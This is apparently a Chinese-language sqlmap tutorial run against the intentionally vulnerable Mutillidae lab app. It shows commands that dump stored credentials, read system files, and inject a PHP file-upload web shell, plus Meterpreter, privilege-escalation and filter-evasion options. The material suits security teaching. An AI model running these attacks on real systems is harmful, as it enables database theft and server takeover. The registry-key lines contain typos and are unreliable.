root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --users --passwords --dbs --technique=E --level=5 --risk=3 -v 1
root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --tables -D nowasp --technique=E --level=5 --risk=3 -v 1
root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --columns -D nowasp -T accounts --technique=E --level=5 --risk=3 -v 1
root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --dump -D nowasp -T accounts -C "username,password" --technique=E --level=5 --risk=3 -v 1
+----------+--------------+
#参数说明:
--dump #dump数据库表项
-C #指定字段名
#tips
--start 2 --stop 4 #dump一个范围类的数据(配合--dump使用). 如:
此语句加上参数--start 2 --stop 4返回:
+----------+-----------+
| username | password |
+----------+-----------+
| admin | adminpass |
| john | monkey |
| jeremy | password |
+----------+-----------+
--dump-all #dump所有数据库表项
--replicate #Replicate dumped data into a sqlite3 database
读取指定文件
root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --file-read "c:/boot.ini" --technique=E --level=5 --risk=3 -v 1
?
#返回结果:
[boot loader]\r
timeout=30\r
default=multi(0)disk(0)rdisk(0)partition(1)\\WINDOWS\r
[operating systems]\r
multi(0)disk(0)rdisk(0)partition(1)\\WINDOWS="Windows Server 2003, Enterprise" /noexecute=optout /fa
c:/boot.ini file saved to: '/pentest/database/sqlmap/output/192.168.1.3/files/c__boot.ini'
#参数说明:
--file-read #读取系统指定文件
上传本地文件
root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch --file-write "/tmp/test.txt" --file-dest "F:/xampp/htdocs/mutillidae/test/test.php" --technique=E --level=5 --risk=3 -v 4
?
#返回结果:
[ERROR] none of the SQL injection techniques detected can be used to write files to the underlying file system of the back-end MySQL server
#参数说明:
--file-write #上传本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
--file-dest #上传到的绝对路径
#tips
--proxy=http://localhost:8080 #如使用burpsuite时代理端口配置
--prefix "a'" --suffix "or 'a'='a" #
这里针对post提交的测试未成功 可以-v 4看看HTTP请求 GET?. --os-shell -v 4得到提交limit 1 into outfile语句 截取一段解码后如:
?
POST /mutillidae/index.php?page=login.php HTTP/1.1
Accept-Encoding: identity
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.3
Accept-language: en-us,en;q=0.5
Pragma: no-cache
Cache-control: no-cache,no-store
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: sqlmap/1.0-dev-25eca9d (http://sqlmap.org)
Cookie: showhints=0;PHPSESSID=qvel8iet1d713f4q00n8gr60s6
Connection: close
username=a' LIMIT 1 INTO OUTFILE 'C:/xampp/htdocs/mutillidae/includes/tmpuptvk.php' LINES TERMINATED BY <?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\xampp\\htdocs\\mutillidae\\includes> <input type=submit name=upload value=upload></form>";}?> -- or 'a'='a&password=&login-php-submit-button=Login
我这木测试成功 可以使用burpsuite抓包修改post数据提交或者wireshark配合tcpdump nc提交试试
sqlmap --cookie注入测试
root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=capture-data.php --cookie="page = capture-data.php\r\nshowhints = 1\r\nPHPSESSID = m565a24c08ld1uheri0rpnqqt3\r\n" --dbs --level=5 --risk=3 -v 4
?
#返回结果:
available databases [8]:
[*] cdcol
[*] information_schema
[*] mysql
[*] nowasp
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth
#参数说明:
--cookie #HTTP Cookie header
#tips
--cookie-urlencode #URL Encode generated cookie injections
--string #指定关键词,字符串匹配. 也可以用--regexp
sqlmap --auth-type and --auth-cred认证注入测试
root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --auth-type Basic --auth-cred "admin:adminpass" --dbs --level=5 --risk=3 -v 4
?
#返回结果:
available databases [8]:
[*] cdcol
[*] information_schema
[*] mysql
[*] nowasp
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth
#这里就拿前面dump出的数据进行测试
#参数说明:
--auth-type #HTTP身份验证类型(Basic, Digest or NTLM)
--auth-cred #HTTP身份验证凭据(name:password)
#tips
--auth-cert #客户端证书key_file,cert_file.
结合Metasploit’s Meterpreter注入
root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --os-pwn --msf-path=/opt/framework/msf3 --priv-esc --technique=E --level=5 --risk=3 -v 1
?
#返回结果:
自行测试
#参数说明:
--os-pwn #Prompt for an out-of-band shell, meterpreter or VNC
--msf-path #matesploit绝对路径
--priv-esc #Database process' user privilege escalation
#tips
--os-smbrelay #One click prompt for an OOB shell, meterpreter or VNC
--os-bof #Stored procedure buffer overflow exploitation
--tmp-path=TMPPATH #Remote absolute path of temporary files directory
其他参数配合使用
?
#编码
--tamper=TAMPER #Use given script(s) for tampering injection data 如:
--tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py
#读取注册表项值
--reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
#操作数据库
--sql-shell #提供一个交互的sql shell
--sql-query=QUERY #执行sql语句
#查资料看见有用-z,根据参数及结果可以了解哈
-z "ign,flu,bat,ban"
返回:
web server operating system: Windows
web application technology: Apache 2.4.3, PHP 5.4.7
back-end DBMS: MySQL 5.0
banner: '5.5.27'
#对于需要暴力猜表字段类的 如mysql4,在/pentest/database/sqlmap/txt下存放这字典可以自行添加
common-columns.txt common-tables.txt smalldict.txt wordlist.txt
common-outputs.txt keywords.txt user-agents.txt
#tips
--threads #设置线程
--user-agent=AGENT #HTTP User-Agent header
--random-agent #Use randomly selected HTTP User-Agent header
--referer=REFERER #HTTP Referer header
......
sqlmap post型注入其他方法:
1.使用burpsuite抓包获取提交的参数信息保存为post-sql.txt,然后执行:
root@bt:/pentest/database/sqlmap# python sqlmap.py -r /root/Desktop/post-sql.txt -p username --dbs --text-only --level=5 --risk=3 -v 3
2.使用--data参数执行:
root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --data="username=&password=&login-php-submit-button=Login" -p username --batch --threads=10 --dbs --level=5 --risk=3 -v 3